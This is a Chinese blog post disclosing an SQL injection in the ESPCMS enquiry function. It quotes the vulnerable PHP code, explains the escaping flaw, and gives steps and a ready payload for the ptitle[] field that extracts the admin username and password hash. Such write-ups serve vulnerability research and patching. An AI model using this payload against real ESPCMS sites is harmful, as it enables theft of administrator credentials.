美文网首页
ESPCMS SQL注入

ESPCMS SQL注入

作者: 索马里的乌贼 | 来源:发表于2018-08-07 21:24 被阅读0次
    1. 发布时间:2016-08-09
    2. 公开时间:N/A
    3. 漏洞类型:SQL注入
    4. 危害等级:高
    5. 漏洞编号:xianzhi-2016-08-37542369
    6. 测试版本:N/A

    漏洞详情

    interface\special.php 行134起

    function in_enquirysave() {
    ……省略部分代码……
            $content = trim($this->fun->accept('content', 'P', true, true));
            $content = $this->fun->substr($content, 500);
            $amount = $this->fun->accept('amount', 'P');
            $ptitle = $this->fun->accept('ptitle', 'P');
            $tsn = $this->fun->accept('tsn', 'P');
    ……省略部分代码……
                    foreach ($did as $key => $value) {
                $value = intval($value);
                $amount[$key] = intval($amount[$key]);
                if ($key == $arraycount) {
                    $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
                } else {
                    $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
                }
            }
    

    $tsn来自$_POST 这里没有判断$tsn是否是一个数组就直接在sql语句中使用了$tsn[$key]
    当$tsn是字符串的时候 $tsn[$key]其实取的就是字符串的第$key个字符
    当第一次foreach的时候 $did是一个一维数组 $key的值就是0 $tsn[$key]取的就是$tsn的第一个字符
    如果我们提交$_POST['tsn']=' 转义后 $tsn="\'" $tsn[0]就变成了"\" 于是sql语句中的单引号就成功被转义了,$ptitle可控 所以造成了注入
    网站开放注册会员的前提下 可以直接将注入结果写入title字段在会员中心读取。
    网站关闭注册会员的话,也可以直接报错注入或者延时注入。
    演示如下
    首先随便选一个商品 点击询价 内容随便写 提交的时候抓包拦下来
    将tsn字段修改为' 或者\ (任意可被转义的字符)
    ptitle[]字段修改为注入代码
    ,(select concat(username,0x3a,password) from espcms_admin_member limit 1),1,2)#

    view1.png
    进入会员中心-》询价列表即可查看注入结果
    view.png

    相关文章

      网友评论

          本文标题:ESPCMS SQL注入

          本文链接:https://www.haomeiwen.com/subject/jikzvftx.html